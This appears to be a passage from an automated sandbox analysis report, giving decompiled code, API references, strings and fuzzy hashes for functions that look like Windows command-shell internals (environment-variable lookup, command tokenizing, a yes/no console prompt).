Instruction Fuzzy Hash: 8771D97290030AAFFB10BFB89C86A6F7BA8FF45314B141539F515E21A2EF34D9048765

Uniqueness

Uniqueness Score: -1.00%

Function 0087CFBC, Relevance: 33.4, APIs: 12, Strings: 7, Instructions: 141COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,0089F830,00002000,?,?,?,?,?,0088373A,0087590A,00000000), ref: 0087CFDF
_wcsicmp.MSVCRT ref: 0087D005
_wcsicmp.MSVCRT ref: 0087D01B
_wcsicmp.MSVCRT ref: 0087D031
_wcsicmp.MSVCRT ref: 0087D047
_wcsicmp.MSVCRT ref: 0087D05D
_wcsicmp.MSVCRT ref: 0087D073
_wcsicmp.MSVCRT ref: 0087D085
_wcsicmp.MSVCRT ref: 0087D09B

Part of subcall function 008796A0: GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,0089F830,?,00002000), ref: 008796CC
Part of subcall function 008796A0: SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 008796E0
Part of subcall function 008796A0: FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0(?,?), ref: 008796F4
Part of subcall function 008796A0: FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 00879708

Strings

CMDCMDLINE, xrefs: 0087D041
CMDEXTVERSION, xrefs: 0087D02B
RANDOM, xrefs: 0087D07F
ERRORLEVEL, xrefs: 0087D015
TIME, xrefs: 0087D06D
HIGHESTNUMANODENUMBER, xrefs: 0087D095
DATE, xrefs: 0087D057

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsicmp$Time$File$System$EnvironmentLocalVariable
String ID: CMDCMDLINE$CMDEXTVERSION$DATE$ERRORLEVEL$HIGHESTNUMANODENUMBER$RANDOM$TIME
API String ID: 2447294730-2301591722
Opcode ID: 43de696608061b13b7a4882dbae316914a2fbafc6572f1be801e7661f8f86045
Instruction ID: 244356bf9cc7191f6825b0071ad302b2ec21c0d010f3e122d4576f1c1cff08da
Opcode Fuzzy Hash: 43de696608061b13b7a4882dbae316914a2fbafc6572f1be801e7661f8f86045
Instruction Fuzzy Hash: 0C311A3120CB016BA7147735AC0EE6B7BEDFF4A324B14C12AF55AD12D5EF69C4018275

Uniqueness

Uniqueness Score: -1.00%

Function 0087F300, Relevance: 31.9, APIs: 15, Strings: 3, Instructions: 441
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0087F300(signed int __eax, signed short* __ecx, intOrPtr __edx, signed int _a4) {
				signed short* _v8;
				intOrPtr _v12;
				signed short* _v16;
				long _v20;
				signed int _t92;
				signed int _t102;
				signed int _t109;
				signed char _t110;
				int _t111;
				wchar_t* _t112;
				wchar_t* _t113;
				int _t114;
				signed int _t120;
				long _t121;
				int _t122;
				wchar_t* _t123;
				signed int _t129;
				int _t130;
				signed int _t135;
				int _t136;
				signed int _t139;
				signed short* _t141;
				int _t148;
				long _t152;
				int _t153;
				int _t155;
				wchar_t* _t156;
				wchar_t* _t157;
				int _t164;
				wchar_t* _t165;
				wchar_t* _t166;
				signed short* _t167;
				signed int _t169;
				signed int _t173;
				long* _t174;
				long* _t180;
				long* _t181;
				intOrPtr _t182;
				long* _t183;
				long _t184;
				long _t185;
				long _t186;
				long _t187;
				void* _t188;
				void* _t189;
				void* _t192;

				_t175 = __ecx;
				_t92 = __eax;
				_push(0);
				_push(0x8ab8f8);
				_v12 = __edx;
				_v8 = __ecx;
				L008882C1();
				_t189 = _t188 + 8;
				if(__eax != 0) {
					L139:
					return _t92 | 0xffffffff;
				}
				_t180 = _v8;
				if(_t180 == 0) {
					if( *0x8af984 != 0) {
						_push( *0x8ab8a0);
						E008825D9(L"Ungetting: \'%s\'\n");
					}
					 *0x8ab8a4 =  *0x8ab8a0;
					return 0;
				} else {
					if(_v12 < 6) {
						goto L139;
					}
					_t169 = _a4;
					 *0x8ab8a0 =  *0x8ab8a4;
					_v16 = _t180;
					if((_t169 & 0x00000021) == 0) {
						while(1) {
							_t187 = E0087F9D5(_t175) & 0x0000ffff;
							_t164 = iswspace(_t187);
							_t189 = _t189 + 4;
							if(_t164 != 0 && _t187 != 0xa) {
								goto L6;
							} else {
								continue;
							}
							do {
								_t187 = E0087F9D5(_t175) & 0x0000ffff;
								_t164 = iswspace(_t187);
								_t189 = _t189 + 4;
							} while (_t164 != 0 && _t187 != 0xa);
							L6:
							if((_t169 & 0x00000004) != 0) {
								_t165 = 0x872102;
							} else {
								_t165 = L"=,;";
							}
							_t166 = wcschr(_t165, _t187);
							_t189 = _t189 + 8;
							if(_t166 != 0) {
								if(_t187 == 0) {
									goto L9;
								} else {
									continue;
								}
							}
							L9:
							_t167 =  *0x8ab8a4;
							if(_t167 != 0x8a3890) {
								 *0x8ab8a4 = _t167 - 2;
							}
							goto L11;
						}
					}
					L11:
					_t184 = E0087F9D5(_t175) & 0x0000ffff;
					if( *0x89d5b4 != 0) {
						 *0x89d5b4 = 0;
						if((_t169 & 0x00000040) != 0) {
							goto L41;
						} else {
							_t184 = E0087F9D5(_t175) & 0x0000ffff;
							goto L12;
						}
						goto L140;
					} else {
						L12:
						_t129 = _t184 & 0x0000ffff;
						if(_t129 != 0xa) {
							if(_t129 >= 0x41) {
								if(_t129 >= 0x7c) {
									goto L25;
								} else {
									goto L33;
								}
							} else {
								L25:
								if(_t129 > 0x7c) {
									goto L33;
								} else {
									_t16 = _t129 + 0x87f8c0; // 0x5050500
									switch( *((intOrPtr*)(( *_t16 & 0x000000ff) * 4 +  &M0087F8A8))) {
										case 0:
											goto L13;
										case 1:
											goto L14;
										case 2:
											L27:
											if((_t169 & 0x0000002a) == 8) {
												goto L28;
											}
											goto L33;
										case 3:
											L28:
											if((_t169 & 0x00000022) == 0) {
												if((_t169 & 0x00000010) != 0 || _t184 != 0x29) {
													goto L13;
												} else {
												}
											}
											goto L33;
										case 4:
											if((__bl & 0x00000022) != 0) {
												goto L33;
											} else {
												if( *0x89d548 != 0) {
													goto L27;
												} else {
													goto L41;
												}
											}
											goto L140;
										case 5:
											goto L33;
									}
								}
							}
						} else {
							L13:
							_t169 = _t169 & 0xffffffdd;
							_a4 = _t169;
							L14:
							if((_t169 & 0x00000022) == 0) {
								L15:
								 *_t180 = _t184;
								_t183 =  &(_t180[0]);
								_v8 = _t183;
								_t174 = _t183;
								_t136 = iswdigit(_t184);
								_t192 = _t189 + 4;
								if(_t136 != 0) {
									_t184 = E0087F9D5(_t175) & 0x0000ffff;
									_t174 =  &(_t183[0]);
									 *_t183 = _t184;
									_t183 = _t174;
									_v8 = _t183;
								}
								if(_t184 == 0x3e || _t184 == 0x26 || _t184 == 0x7c || _t184 == 0x3c) {
									_t139 = E0087F9D5(_t175) & 0x0000ffff;
									if(_t139 ==  *(_t183 - 2)) {
										 *_t183 = _t139;
										_t183 =  &(_t174[0]);
										_v8 = _t183;
										_t139 = E0087F9D5(_t175) & 0x0000ffff;
										_t174 = _t183;
									}
									_t176 =  *(_t183 - 2) & 0x0000ffff;
									if(_t176 != 0x3e) {
										if(_t176 != 0x3c) {
											goto L79;
										}
										goto L78;
									} else {
										L78:
										if(_t139 == 0x26) {
											 *_t183 = 0x26;
											_t183 =  &(_t174[0]);
											_v8 = _t183;
											goto L109;
											do {
												do {
													L109:
													_t186 = E0087F9D5(_t176) & 0x0000ffff;
													_t148 = iswspace(_t186);
													_t192 = _t192 + 4;
												} while (_t148 != 0);
												_t176 = L"=,;";
											} while (E0087D7D4(L"=,;", _t186) != 0);
											if(iswdigit(_t186) != 0) {
												 *_t183 = _t186;
												_t183 =  &(_t183[0]);
												_v8 = _t183;
												E0087F9D5(_t176);
											}
										}
										L79:
										_t141 =  *0x8ab8a4;
										if(_t141 != 0x8a3890) {
											 *0x8ab8a4 = _t141 - 2;
										}
										goto L20;
									}
								} else {
									L20:
									 *_t183 = 0;
									return  *_v16 & 0x0000ffff;
								}
							}
							L33:
							if(_t184 == 0x5e) {
								if((_t169 & 0x00000022) != 0) {
									goto L34;
								} else {
									_t184 = E0087F9D5(_t175) & 0x0000ffff;
									if(_t184 == 0) {
										goto L15;
									}
									if(_t184 != 0xa) {
										goto L41;
									} else {
										_t184 = E0087F9D5(_t175) & 0x0000ffff;
										if(_t184 != 0) {
											goto L41;
										} else {
											goto L15;
										}
									}
								}
								goto L140;
							} else {
								L34:
								if(_t184 == 0x22) {
									_t169 = _t169 ^ 0x00000002;
									_a4 = _t169;
								}
								if((_t169 & 0x00000023) == 0) {
									_t155 = iswspace(_t184);
									_t189 = _t189 + 4;
									if(_t155 != 0) {
										goto L15;
									}
									if((_t169 & 0x00000004) != 0) {
										_t156 = 0x872102;
									} else {
										_t156 = L"=,;";
									}
									_t157 = wcschr(_t156, _t184);
									_t189 = _t189 + 8;
									if(_t157 != 0) {
										goto L15;
									}
								}
								_t130 = iswdigit(_t184);
								_t189 = _t189 + 4;
								if(_t130 != 0) {
									_t175 =  *0x8ab8a4;
									if((_t175 - 0x8a388e & 0xfffffffe) < 4) {
										L88:
										_t135 =  *_t175 & 0x0000ffff;
										if(_t135 != 0x3e) {
											if(_t135 != 0x3c) {
												goto L41;
											} else {
												goto L89;
											}
										} else {
											L89:
											if((_t169 & 0x00000022) == 0) {
												goto L15;
											}
											goto L41;
										}
									} else {
										_t152 =  *(_t175 - 4) & 0x0000ffff;
										_v20 = _t152;
										_t153 = iswspace(_t152);
										_t189 = _t189 + 4;
										if(_t153 == 0) {
											_t175 = L"()|&=,;\"";
											if(E0087D7D4(L"()|&=,;\"", _v20) == 0) {
												goto L41;
											} else {
												goto L87;
											}
										} else {
											L87:
											_t175 =  *0x8ab8a4;
											goto L88;
										}
									}
									goto L140;
								}
							}
						}
					}
					L41:
					 *_t180 = _t184;
					_t181 =  &(_t180[0]);
					_a4 = _t169 | 0x00000040;
					 *0x89d548 = 0;
					_t173 = _t181 - _v16 >> 1;
					while(1) {
						_v8 = _t181;
						_t185 = E0087F9D5(_t175) & 0x0000ffff;
						if( *0x89d5b4 != 0) {
							goto L131;
						}
						L43:
						_t109 = _t185 & 0x0000ffff;
						if(_t109 < 0x41 || _t109 >= 0x7c) {
							if(_t109 > 0x7c) {
								goto L45;
							} else {
								_t34 = _t109 + 0x87f958; // 0x5050500
								switch( *((intOrPtr*)(( *_t34 & 0x000000ff) * 4 +  &M0087F940))) {
									case 0:
										_t127 = _a4;
										goto L54;
									case 1:
										__eax = _a4;
										goto L55;
									case 2:
										__eax = _a4;
										goto L114;
									case 3:
										L101:
										__eax = _a4;
										if((__al & 0x00000022) != 0) {
											goto L45;
										} else {
											if((__al & 0x00000010) != 0) {
												L54:
												_t102 = _t127 & 0xffffffdd;
												_a4 = _t102;
												L55:
												if((_t102 & 0x00000022) != 0) {
													goto L45;
												}
												goto L62;
											} else {
												if(__si == 0x29) {
													goto L45;
												} else {
													goto L54;
												}
											}
										}
										goto L140;
									case 4:
										__eax = _a4;
										if((__al & 0x00000022) != 0) {
											goto L45;
										} else {
											if( *0x89d548 == 0) {
												goto L49;
											} else {
												L114:
												__al = __al & 0x0000002a;
												if(__al != 8) {
													goto L45;
												} else {
													goto L101;
												}
											}
										}
										goto L140;
									case 5:
										goto L45;
								}
							}
						} else {
							L45:
							_t110 = _a4;
							if(_t185 == 0x5e) {
								if((_t110 & 0x00000022) != 0) {
									goto L46;
								} else {
									_t185 = E0087F9D5(_t175) & 0x0000ffff;
									if(_t185 == 0) {
										goto L61;
									} else {
										if(_t185 != 0xa) {
											goto L49;
										} else {
											_t185 = E0087F9D5(_t175) & 0x0000ffff;
											if(_t185 == 0) {
												goto L61;
											} else {
												goto L49;
											}
										}
									}
								}
								goto L140;
							} else {
								L46:
								if(_t185 == 0x22) {
									_t110 = _t110 ^ 0x00000002;
									_a4 = _t110;
								}
								if((_t110 & 0x00000023) == 0) {
									_t111 = iswspace(_t185);
									_t189 = _t189 + 4;
									if(_t111 != 0) {
										goto L61;
									} else {
										if((_a4 & 0x00000004) != 0) {
											_t112 = 0x872102;
										} else {
											_t112 = L"=,;";
										}
										_t113 = wcschr(_t112, _t185);
										_t189 = _t189 + 8;
										if(_t113 == 0) {
											goto L48;
										} else {
											goto L61;
										}
									}
								} else {
									L48:
									_t114 = iswdigit(_t185);
									_t189 = _t189 + 4;
									if(_t114 != 0) {
										_t175 =  *0x8ab8a4;
										if((_t175 - 0x8a388e & 0xfffffffe) < 4) {
											L70:
											_t120 =  *( *0x8ab8a4) & 0x0000ffff;
											if(_t120 == 0x3e || _t120 == 0x3c) {
												_t102 = _a4;
												if((_t102 & 0x00000022) == 0) {
													goto L62;
												} else {
													goto L49;
												}
											} else {
												goto L49;
											}
										} else {
											_t121 =  *(_t175 - 4) & 0x0000ffff;
											_v20 = _t121;
											_t122 = iswspace(_t121);
											_t189 = _t189 + 4;
											if(_t122 != 0) {
												goto L70;
											} else {
												_t123 = wcschr(L"()|&=,;\"", _v20);
												_t189 = _t189 + 8;
												if(_t123 == 0) {
													goto L49;
												} else {
													goto L70;
												}
											}
										}
										goto L140;
									} else {
										L49:
										if(_t173 >= _v12 - 1) {
											L61:
											_t102 = _a4;
										} else {
											 *_t181 = _t185;
											_t181 =  &(_t181[0]);
											_t173 = _t173 + 1;
											continue;
										}
									}
								}
							}
						}
						L62:
						_a4 = _t102 & 0xffffffbf;
						 *_t181 = 0;
						_t182 = _v12;
						_t47 = _t182 - 1; // 0x3
						if(_t173 < _t47) {
							_t175 =  *0x8ab8a4;
							if( *0x8ab8a4 != 0x8a3890) {
								 *0x8ab8a4 =  *0x8ab8a4 - 2;
							}
						}
						if(_t173 >= _t182) {
							if(_t185 != 0xffff) {
								_t92 = E0087C5A2(_t175, 0x234f, 1, _v16);
								goto L139;
							}
						}
						return 0x4000;
						goto L140;
						L131:
						 *0x89d5b4 = 0;
						if((_a4 & 0x00000040) != 0) {
							goto L49;
						} else {
							_t185 = E0087F9D5(_t175) & 0x0000ffff;
							goto L43;
						}
						goto L140;
					}
				}
				goto L140;
			}

0x0087f300
0x0087f300
0x0087f30b
0x0087f30d
0x0087f312
0x0087f315
0x0087f318
0x0087f31d
0x0087f322
0x0088c593
0x00000000
0x0088c593
0x0087f328
0x0087f32d
0x0087f432
0x0088c4dc
0x0088c4e7
0x0088c4ec
0x0087f43d
0x0087f44a
0x0087f333
0x0087f337
0x00000000
0x00000000
0x0087f33d
0x0087f345
0x0087f34a
0x0087f350
0x0087f352
0x0087f357
0x0087f35b
0x0087f361
0x0087f366
0x00000000
0x00000000
0x00000000
0x00000000
0x0087f352
0x0087f357
0x0087f35b
0x0087f361
0x0087f364
0x0087f36d
0x0087f370
0x0087f744
0x0087f376
0x0087f376
0x0087f376
0x0087f37d
0x0087f383
0x0087f388
0x0087f6de
0x00000000
0x0087f6e4
0x00000000
0x0087f6e4
0x0087f6de
0x0087f38e
0x0087f38e
0x0087f398
0x0087f39d
0x0087f39d
0x00000000
0x0087f398
0x0087f352
0x0087f3a2
0x0087f3ae
0x0087f3b1
0x0088c4f4
0x0088c501
0x00000000
0x0088c507
0x0088c50c
0x00000000
0x0088c50c
0x00000000
0x0087f3b7
0x0087f3b7
0x0087f3b7
0x0087f3bd
0x0087f450
0x0087f48a
0x00000000
0x00000000
0x00000000
0x00000000
0x0087f452
0x0087f452
0x0087f455
0x00000000
0x0087f457
0x0087f457
0x0087f45e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0087f465
0x0087f46b
0x00000000
0x00000000
0x00000000
0x00000000
0x0087f46d
0x0087f470
0x0087f475
0x00000000
0x00000000
0x0087f485
0x0087f475
0x00000000
0x00000000
0x0087f7bb
0x00000000
0x0087f7c1
0x0087f7c8
0x00000000
0x0087f7ce
0x00000000
0x0087f7ce
0x0087f7c8
0x00000000
0x00000000
0x00000000
0x00000000
0x0087f45e
0x0087f455
0x0087f3c3
0x0087f3c3
0x0087f3c3
0x0087f3c6
0x0087f3c9
0x0087f3cc
0x0087f3d2
0x0087f3d2
0x0087f3d5
0x0087f3d9
0x0087f3dc
0x0087f3de
0x0087f3e4
0x0087f3e9
0x0087f76d
0x0087f770
0x0087f773
0x0087f776
0x0087f778
0x0087f778
0x0087f3f3
0x0087f681
0x0087f688
0x0087f6c6
0x0087f6c9
0x0087f6cc
0x0087f6d4
0x0087f6d7
0x0087f6d7
0x0087f68a
0x0087f691
0x0087f739
0x00000000
0x00000000
0x00000000
0x0087f697
0x0087f697
0x0087f69b
0x0087f7d8
0x0087f7db
0x0087f7de
0x0087f7de
0x0087f7e1
0x0087f7e1
0x0087f7e1
0x0087f7e6
0x0087f7ea
0x0087f7f0
0x0087f7f3
0x0087f7f9
0x0087f803
0x0087f813
0x0087f819
0x0087f81c
0x0087f81f
0x0087f822
0x0087f822
0x0087f813
0x0087f6a1
0x0087f6a1
0x0087f6ab
0x0087f6b4
0x0087f6b4
0x00000000
0x0087f6ab
0x0087f417
0x0087f417
0x0087f419
0x00000000
0x0087f41f
0x0087f3f3
0x0087f48c
0x0087f490
0x0087f868
0x00000000
0x0087f86e
0x0087f873
0x0087f879
0x00000000
0x00000000
0x0087f882
0x00000000
0x0087f888
0x0088c519
0x0088c51f
0x00000000
0x0088c525
0x00000000
0x0088c525
0x0088c51f
0x0087f882
0x00000000
0x0087f496
0x0087f496
0x0087f49a
0x0087f780
0x0087f783
0x0087f783
0x0087f4a3
0x0087f4a6
0x0087f4ac
0x0087f4b1
0x00000000
0x00000000
0x0087f4ba
0x0087f74e
0x0087f4c0
0x0087f4c0
0x0087f4c0
0x0087f4c7
0x0087f4cd
0x0087f4d2
0x00000000
0x00000000
0x0087f4d2
0x0087f4d9
0x0087f4df
0x0087f4e4
0x0087f6e9
0x0087f6ff
0x0087f720
0x0087f720
0x0087f726
0x0087f78e
0x00000000
0x0087f794
0x00000000
0x0087f794
0x0087f728
0x0087f728
0x0087f72b
0x00000000
0x00000000
0x00000000
0x0087f731
0x0087f701
0x0087f701
0x0087f706
0x0087f709
0x0087f70f
0x0087f714
0x0087f890
0x0087f89c
0x00000000
0x0087f8a2
0x00000000
0x0087f8a2
0x0087f71a
0x0087f71a
0x0087f71a
0x00000000
0x0087f71a
0x0087f714
0x00000000
0x0087f6ff
0x0087f4e4
0x0087f490
0x0087f3bd
0x0087f4ea
0x0087f4ed
0x0087f4f0
0x0087f4f3
0x0087f4f8
0x0087f505
0x0087f507
0x0087f507
0x0087f516
0x0087f519
0x00000000
0x00000000
0x0087f51f
0x0087f51f
0x0087f525
0x0087f56d
0x00000000
0x0087f56f
0x0087f56f
0x0087f576
0x00000000
0x0087f57d
0x00000000
0x00000000
0x0087f6be
0x00000000
0x00000000
0x0087f82c
0x00000000
0x00000000
0x0087f796
0x0087f796
0x0087f79b
0x00000000
0x0087f7a1
0x0087f7a3
0x0087f580
0x0087f580
0x0087f583
0x0087f586
0x0087f588
0x00000000
0x0087f58a
0x00000000
0x0087f7a9
0x0087f7ad
0x00000000
0x0087f7b3
0x00000000
0x0087f7b3
0x0087f7ad
0x0087f7a3
0x00000000
0x00000000
0x0087f758
0x0087f75d
0x00000000
0x0087f763
0x0088c552
0x00000000
0x0088c558
0x0087f82f
0x0087f82f
0x0087f833
0x00000000
0x0087f839
0x00000000
0x0087f839
0x0087f833
0x0088c552
0x00000000
0x00000000
0x00000000
0x00000000
0x0087f576
0x0087f52c
0x0087f52c
0x0087f52c
0x0087f533
0x0087f840
0x00000000
0x0087f846
0x0087f84b
0x0087f851
0x00000000
0x0087f857
0x0087f85a
0x00000000
0x0087f860
0x0088c562
0x0088c568
0x00000000
0x0088c56e
0x00000000
0x0088c56e
0x0088c568
0x0087f85a
0x0087f851
0x00000000
0x0087f539
0x0087f539
0x0087f53d
0x0087f671
0x0087f674
0x0087f674
0x0087f545
0x0087f58d
0x0087f593
0x0087f598
0x00000000
0x0087f59a
0x0087f59e
0x0087f667
0x0087f5a4
0x0087f5a4
0x0087f5a4
0x0087f5ab
0x0087f5b1
0x0087f5b6
0x00000000
0x00000000
0x00000000
0x00000000
0x0087f5b6
0x0087f547
0x0087f547
0x0087f548
0x0087f54e
0x0087f553
0x0087f5fb
0x0087f611
0x0087f641
0x0087f646
0x0087f64c
0x0087f657
0x0087f65c
0x00000000
0x0087f662
0x00000000
0x0087f662
0x00000000
0x00000000
0x00000000
0x0087f613
0x0087f613
0x0087f618
0x0087f61b
0x0087f621
0x0087f626
0x00000000
0x0087f628
0x0087f630
0x0087f636
0x0087f63b
0x00000000
0x00000000
0x00000000
0x00000000
0x0087f63b
0x0087f626
0x00000000
0x0087f559
0x0087f559
0x0087f55f
0x0087f5b8
0x0087f5b8
0x0087f561
0x0087f561
0x0087f564
0x0087f567
0x00000000
0x0087f567
0x0087f55f
0x0087f553
0x0087f545
0x0087f533
0x0087f5bb
0x0087f5be
0x0087f5c3
0x0087f5c6
0x0087f5c9
0x0087f5ce
0x0087f5d0
0x0087f5dc
0x0087f5de
0x0087f5de
0x0087f5dc
0x0087f5e7
0x0088c57b
0x0088c58b
0x00000000
0x0088c590
0x0088c57b
0x0087f5f8
0x00000000
0x0088c52a
0x0088c52e
0x0088c538
0x00000000
0x0088c53e
0x0088c543
0x00000000
0x0088c543
0x00000000
0x0088c538
0x0087f507
0x00000000

APIs

_setjmp3.MSVCRT ref: 0087F318
iswspace.MSVCRT ref: 0087F35B
wcschr.MSVCRT ref: 0087F37D
iswdigit.MSVCRT ref: 0087F3DE
iswspace.MSVCRT ref: 0087F4A6
wcschr.MSVCRT ref: 0087F4C7
iswdigit.MSVCRT ref: 0087F4D9
iswdigit.MSVCRT ref: 0087F548
iswspace.MSVCRT ref: 0087F58D
wcschr.MSVCRT ref: 0087F5AB
iswspace.MSVCRT ref: 0087F61B
wcschr.MSVCRT ref: 0087F630
iswspace.MSVCRT ref: 0087F709

Strings

Ungetting: '%s', xrefs: 0088C4E2
()|&=,;", xrefs: 0087F62B, 0087F890
=,;, xrefs: 0087F376, 0087F37C, 0087F4C0, 0087F4C6, 0087F5A4, 0087F5AA, 0087F7F9

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: iswspace$wcschr$iswdigit$_setjmp3
String ID: ()|&=,;"$=,;$Ungetting: '%s'
API String ID: 1805751789-2755026540
Opcode ID: 0641ab37bf75871aac223e25bad160b82a7030b30258bd011407e48429821999
Instruction ID: 072b397955eafecda66d2fa9f3e3f52444608dde79b271b7556aaedd832f28b9
Opcode Fuzzy Hash: 0641ab37bf75871aac223e25bad160b82a7030b30258bd011407e48429821999
Instruction Fuzzy Hash: A3E19BA19002059BDB209F6ED88977A77A0FF15398F288136EB4DD72ABD334C980D756

Uniqueness

Uniqueness Score: -1.00%

Function 00899583, Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 247
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00899583(void* __ecx, intOrPtr __edx, char _a4) {
				signed int _v12;
				long _v44;
				char _v45;
				char _v46;
				long _v52;
				long _v56;
				long _v60;
				long _v64;
				intOrPtr _v68;
				void* _v72;
				char _v76;
				intOrPtr _v80;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t51;
				intOrPtr _t58;
				void* _t69;
				signed int _t74;
				void* _t81;
				signed int _t93;
				void _t94;
				signed int _t98;
				char _t100;
				void* _t101;
				signed int* _t105;
				intOrPtr* _t106;
				void* _t114;
				void* _t120;
				void* _t122;
				void* _t124;
				void* _t125;
				intOrPtr _t126;
				void* _t127;
				long _t128;
				void* _t130;
				wchar_t* _t131;
				long _t134;
				signed int _t135;
				void* _t136;
				void* _t137;
				void* _t138;

				_t104 = __ecx;
				_t51 =  *0x89d0b4; // 0x987dc5f4
				_v12 = _t51 ^ _t135;
				_t100 = _a4;
				_t128 = 0;
				_v68 = __edx;
				_v72 = __ecx;
				_v56 = 0;
				_v45 = 0;
				_v46 = 0;
				if(__edx != 0x400023d3) {
					L5:
					_push(_t100);
					_t124 = E0087B3FC(_t104);
					_t137 = _t136 + 4;
					if(_t124 == 0) {
						L10:
						_t105 =  &_v44;
						_t120 = 0x10;
						_t130 = L"NY" - _t105;
						while(1) {
							_t12 = _t120 + 0x7fffffee; // 0x7ffffffe
							if(_t12 == 0) {
								break;
							}
							_t93 =  *(_t130 + _t105) & 0x0000ffff;
							if(_t93 == 0) {
								break;
							}
							 *_t105 = _t93;
							_t105 =  &(_t105[0]);
							_t120 = _t120 - 1;
							if(_t120 != 0) {
								continue;
							}
							L16:
							_t105 = _t105 - 2;
							L17:
							_t128 = 0;
							 *_t105 = 0;
							L18:
							_t106 =  &_v44;
							_t121 = _t106 + 2;
							do {
								_t58 =  *_t106;
								_t106 = _t106 + 2;
							} while (_t58 != 0);
							_t108 = _t106 - _t121 >> 1;
							_v80 = (_t106 - _t121 >> 1) - 1;
							LocalFree(_t124);
							_t101 = GetStdHandle(0xfffffff5);
							_v88 = _t101;
							if(GetConsoleMode(_t101,  &_v60) != 0) {
								_t108 = _v60 | 0x00000001;
								_v45 = 1;
								SetConsoleMode(_t101, _v60 | 0x00000001);
							}
							_t125 = GetStdHandle(0xfffffff6);
							_v84 = _t125;
							if(GetConsoleMode(_t125,  &_v64) != 0) {
								_t108 = _v64 | 0x00000007;
								SetConsoleMode(_t125, _v64 | 0x00000007);
								_t134 =  *0x8a3888;
								if(_t134 != 0) {
									_t108 = _t134;
									 *0x8b94b4(L"<noalias>");
									 *_t134();
								}
								_t128 = 0;
							}
							_t126 = _v68;
							while(1) {
								_t100 = 1;
								_v52 = 0;
								_t68 = _v72;
								if(_v72 == 0) {
									_push(0);
									_push(_t126);
									_t69 = E0087C108(_t108);
									_t138 = _t137 + 8;
								} else {
									_t69 = E0087C108(_t108, _t126, 1, _t68);
									_t138 = _t137 + 0xc;
								}
								_t108 = 0;
								if(E00880178(_t69) != 0) {
									FlushConsoleInputBuffer(GetStdHandle(0xfffffff6));
								}
								if(_v52 == 0xa) {
									goto L45;
								} else {
									goto L35;
								}
								while(1) {
									L35:
									_t81 = GetStdHandle(0xfffffff6);
									_t121 =  &_v52;
									_t108 = _t81;
									if(E00893B11(_t81,  &_v52, 1,  &_v76) == 0 || _v76 != 1) {
										break;
									}
									if(_t100 != 0) {
										_t128 = towupper(_v52) & 0x0000ffff;
										_t138 = _t138 + 4;
										_v56 = _t128;
									}
									_t108 = 0;
									_t100 = 0;
									if(E00880178(_t82) == 0 || ( *0x8b3aa0 & 0x00000001) == 0) {
										_push(_v52 & 0x0000ffff);
										E008825D9(L"%c");
										_t138 = _t138 + 8;
									}
									if(_v52 != 0xa) {
										continue;
									} else {
										goto L45;
									}
								}
								_t128 = _v44 & 0x0000ffff;
								_v56 = _t128;
								E008825D9(L"\r\n");
								_t138 = _t138 + 4;
								L45:
								_t131 = wcschr( &_v44, _t128);
								_t137 = _t138 + 8;
								if(_t131 == 0) {
									L28:
									_t128 = _v56;
									continue;
								}
								_t133 = _t131 -  &_v44 >> 1;
								if(_t133 > _v80) {
									goto L28;
								}
								_t127 = _v84;
								if(_v45 != 0) {
									SetConsoleMode(_v88, _v60);
								}
								if(_t100 != 0) {
									SetConsoleMode(_t127, _v64);
									_t127 =  *0x8a3888;
									if(_t127 != 0) {
										 *0x8b94b4(L"CMD.EXE");
										 *_t127();
									}
								}
								_t74 = _t133;
								L53:
								return E00886FD0(_t74, _t100, _v12 ^ _t135, _t121, _t127, _t133);
							}
						}
						if(_t120 != 0) {
							goto L17;
						}
						goto L16;
					}
					_t114 = _t124;
					_t8 = _t114 + 2; // 0x2
					_t122 = _t8;
					do {
						_t94 =  *_t114;
						_t114 = _t114 + 2;
					} while (_t94 != 0);
					if(_t114 - _t122 >> 1 >= 0x10) {
						goto L10;
					}
					E00881040( &_v44, 0x10, _t124);
					__imp___wcsupr( &_v44);
					_t137 = _t137 + 4;
					goto L18;
				}
				_t136 = _t136 - 8;
				_t121 = 0;
				_t127 = E00875DB5(__ecx, 0);
				if(_t127 == 0xffffffff) {
					goto L5;
				}
				_t98 = E00880178(_t97);
				_t104 = _t127;
				_t133 = _t98;
				E0087DB92(_t127);
				if(_t98 == 0) {
					_t128 = 0;
					goto L5;
				}
				_t74 = 2;
				goto L53;
			}

0x00899583
0x0089958b
0x00899592
0x00899596
0x0089959c
0x0089959e
0x008995a1
0x008995a4
0x008995a7
0x008995ab
0x008995b6
0x008995e9
0x008995e9
0x008995ef
0x008995f1
0x008995f6
0x00899634
0x00899634
0x0089963e
0x00899643
0x00899645
0x00899645
0x0089964d
0x00000000
0x00000000
0x0089964f
0x00899656
0x00000000
0x00000000
0x00899658
0x0089965b
0x0089965e
0x00899661
0x00000000
0x00000000
0x00899669
0x00899669
0x0089966c
0x0089966e
0x00899670
0x00899673
0x00899673
0x00899676
0x00899679
0x00899679
0x0089967c
0x0089967f
0x00899686
0x0089968c
0x0089968f
0x0089969d
0x008996a4
0x008996af
0x008996b4
0x008996b7
0x008996bd
0x008996bd
0x008996cb
0x008996d2
0x008996dd
0x008996e4
0x008996e9
0x008996ef
0x008996f7
0x008996fe
0x00899700
0x00899706
0x00899706
0x00899708
0x00899708
0x0089970f
0x00899717
0x00899719
0x0089971b
0x0089971f
0x00899724
0x00899734
0x00899736
0x00899737
